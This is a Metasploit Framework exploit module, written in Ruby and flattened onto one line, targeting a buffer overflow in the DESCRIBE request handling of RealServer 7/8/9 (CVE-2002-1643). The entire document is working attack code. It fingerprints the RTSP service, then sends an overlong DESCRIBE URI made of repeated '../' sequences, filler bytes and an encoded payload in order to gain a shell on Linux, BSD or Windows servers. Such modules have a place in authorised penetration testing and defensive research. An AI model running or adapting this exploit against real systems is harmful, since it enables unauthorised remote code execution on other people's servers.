RealServer – Describe Buffer Overflow (Metasploit)
## # $Id: describe.rb 9971 2010-08-07 06:59:16Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'msf/core/exploit/http/client' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'RealServer Describe Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in RealServer 7/8/9 and was based on Johnny Cyberpunk's THCrealbad exploit. This code should reliably exploit Linux, BSD, and Windows-based servers. }, 'Author' => 'hdm', 'Version' => '$Revision: 9971 $', 'References' => [ [ 'CVE', '2002-1643' ], [ 'OSVDB', '4468'], [ 'URL', 'http://lists.immunitysec.com/pipermail/dailydave/2003-August/000030.html'] ], 'Privileged' => true, 'Payload' => { 'Space' => 2000, 'BadChars' => "\x00\x0a\x0d\x25\x2e\x2f\x5c\xff\x20\x3a\x26\x3f\x2e\x3d" }, 'Targets' => [ [ 'Universal', { 'Platform' => [ 'linux', 'bsd', 'win' ] }, ], ], 'DisclosureDate' => 'Dec 20 2002', 'DefaultTarget' => 0)) end def check res = send_request_raw( { 'method' => 'OPTIONS', 'proto' => 'RTSP', 'version' => '1.0', 'uri' => '/' }, 5) info = http_fingerprint({ :response => res }) # check method / Custom server check if res and res['Server'] print_status("Found RTSP: #{res['Server']}") return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end def exploit print_status("RealServer universal exploit launched against #{rhost}") print_status("Kill the master rmserver pid to prevent shell disconnect") encoded = Rex::Text.to_hex(payload.encoded, "%") res = send_request_raw({ 'method' => 'DESCRIBE', 'proto' => 'RTSP', 'version' => '1.0', 'uri' => "/" + ("../" * 560) + "\xcc\xcc\x90\x90" + encoded + ".smi" }, 5) handler end end |